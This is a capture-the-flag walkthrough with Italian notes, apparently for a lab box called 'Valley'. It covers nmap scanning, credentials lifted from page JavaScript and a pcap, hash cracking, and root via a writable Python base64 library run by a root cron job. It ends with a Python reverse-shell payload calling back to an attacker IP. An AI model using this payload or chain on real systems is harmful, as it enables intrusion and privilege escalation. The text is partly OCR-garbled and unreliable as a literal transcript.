```
└$ nmap -sV -sC -A 10.10.213.215
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 14:54 EDT
Nmap scan report for 10.10.213.215
Host is up (0.073s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp
         open ssh
         open http
80/tcp
37370/tcp open unknown
22/tcp open ssh
                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol
2.0)
ssh-hostkey:
   3072 c2842ac1225a10f16616dda0f6046295 (RSA)
   256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
                    Apache httpd 2.4.41 ((Ubuntu))
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
37370/tcp open ftp
                      vsftpd 3.0.3
Trovato sul web riferimento:
http://10.10.213.215/pricing/note.txt
Please stop leaving notes randomly on the website
-RP
Enumerando le risorse (IDOR)
/static/ enum idor (dirb) 00
/static/00
Contenuto del file
dev notes from valleyDev:
-add wedding photo examples
```

```
-redo the editing on #4
-remove /dev1243224123123 <-----
-check for SIEM alerts
Troviamo coppia di credenziali
view-source:http://10.10.213.215/dev1243224123123/dev.js
if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
siemDev:california (no in ssh)
dev notes for ftp server:
-stop reusing credentials
                            <----
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
proviamo in ftp le credenziali
Name (10.10.213.215:kali): siemDev
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
-rw-rw-r-- 1 1000
-rw-rw-r-- 1 1000
-rw-rw-r-- 1 1000
                         1000
                                      7272 Mar 06 13:55 siemFTP.pcapng
                        1000
                                   1978716 Mar 06 13:55 siemHTTP1.pcapng
                                   1972448 Mar 06 14:06 siemHTTP2.pcapng
scarichiamo (non possiamo scrivere)
cerchiamo info e credenziali all'interno dei pcap
```

805757

```
Trovate creds su http2
 192.168.111.136:47096 192.168.111.136:80 (POST, GET)
POST /index.html HTTP/1.1
Host: 192.168.111.136
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;
q = 0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en; q=0.5
Connection: keep-alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Origin: //192.168.111.136
Referer: //192.168.111.136/index.html
Upgrade-Insecure-Requests: 1
User-Agent: 102.0) Gecko/20100101 Firefox/102.0
uname=valleyDev&psw=ph0t0s1234&remember=on
<-----
Usiamo su SSH
ssh valleyDev@10.10.213.215
└$ ssh valleyDev@10.10.213.215
valleyDev@10.10.213.215's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86 64)
valleyDev@valley:~$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
valleyDev@valley:~$
536773
        4 drwxr-x--- 4 siemDev siemDev 4096 Mar 20 20:03 siemDev
       4 drwxr-x--- 16 valley
                                           4096 Mar 20 20:54 valley
                                 valley
528005
537139 732 -rwxrwxr-x 1 valley valley 749128 Aug 14 2022
vallevAuthenticator
```

4 drwxr-xr-x 5 valleyDev valleyDev 4096 Mar 13 08:17 valleyDev

```
in ssh non accede ma con "su siemDev" pwd:california si
valleyDev@valley:/home$ su siemDev
Password:
$ id
uid=1001(siemDev) gid=1001(siemDev) groups=1001(siemDev)
536773 4 drwxr-x--- 4 siemDev siemDev 4096 Mar 20 20:03 .
524289 4 drwxr-xr-x 5 root root 4096 Mar 6 13:19 ..
                                   0 Mar 13 09:03 .bash_history
536532 0 -rw-r--r-- 1 root root
536776 4 -rw-r--r-- 1 siemDev siemDev 220 Feb 25 2020 .bash_logout
536774 4 -rw-r--r-- 1 siemDev siemDev 3771 Feb 25 2020 .bashrc
659878 4 drwxr-xr-x 2 root root 4096 Mar 20 20:04 .cache
536780 4 dr-xr-xr-x 2 siemDev siemDev 4096 Mar 6 13:06 ftp
536775 4 -rw-r--r-- 1 siemDev siemDev 807 Feb 25 2020 .profile
analizziamo il binario per movimento laterale valleyDev --> valley
 —(kali⊛kali)-[~/Desktop/pcap]
$ strings valley
UPX! <-----
"E&8
/p8S
a64\
└$ upx -d valley
                     Ultimate Packer for eXecutables
                        Copyright (C) 1996 - 2020
UPX 3.96
              Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
                      Ratio
       File size
                                 Format
                                             Name
                       ----
                                             -----
   ______
                                -----
  2285616 <- 749128 32.78% linux/amd64 valley
Unpacked 1 file.
└$ strings valley | grep user
What is your username:
enlarge userbuf
Too many users
enlarge_userbuf
```

Movimento laterale:

```
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
Authenticated
Wrong Password or Username
troviamo 2 hash proviamo a craccarli e ad usarli come password
liberty123
valley
Accediamo all'utente Valley
su valley
liberty123
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
Notiamo un CRONTAB impostato
# Example of job definition:
# .---- minute (0 - 59)
# | .----- hour (0 - 23)
# | .---- day of month (1 - 31)
    | | .----- month (1 - 12) OR jan, feb, mar, apr ...
# | | | .--- day of week (0 - 6) (Sunday=0 or 7) OR
sun, mon, tue, wed, thu, fri, sat
# | | | |
       * * * user-name command to be executed
# *
       * * * root
17 *
                      cd / && run-parts --report /etc/cron.hourly
25 6 * * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.daily )
       * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report
47 6
/etc/cron.weekly )
               root test -x /usr/sbin/anacron || ( cd / && run-parts --report
       1 * *
/etc/cron.monthly )
1 * * * * root
                      python3 /photos/script/photosEncrypt.py
<-----
valley@valley:/photos/script$ cat photosEncrypt.py
#!/usr/bin/python3
             <----- path abuse???
import base64
for i in range(1,7):
```

```
image_path = "/photos/p" + str(i) + ".jpg"
# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()
# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)
# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"
# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
          output file.write(encoded image data)
2023/07/08 05:22:01 CMD: UID=0
                                  PID=1295
                                             /usr/sbin/CRON -f
2023/07/08 05:22:01 CMD: UID=0
                                  PID=1297
                                             | python3
/photos/script/photosEncrypt.py
2023/07/08 05:22:01 CMD: UID=0
                                  PID=1296 | /bin/sh -c python3
/photos/script/photosEncrypt.py
elimino una foto e gli creo un link simbolico nominato p1.jpg a /etc/shadow?
[no i permessi non lo consentono]
Cerchiamo info sulla libreria importata
valley@valley:/tmp$ ls -lisa /usr/lib/python3.8/base64.py
263097 20 -rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26
/usr/lib/python3.8/base64.py <-----
inseriamo un payload in base64.py (reverse shell)
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.8.8.53",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
#! /usr/bin/python3.8
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

# specify the path to the image file you want to encode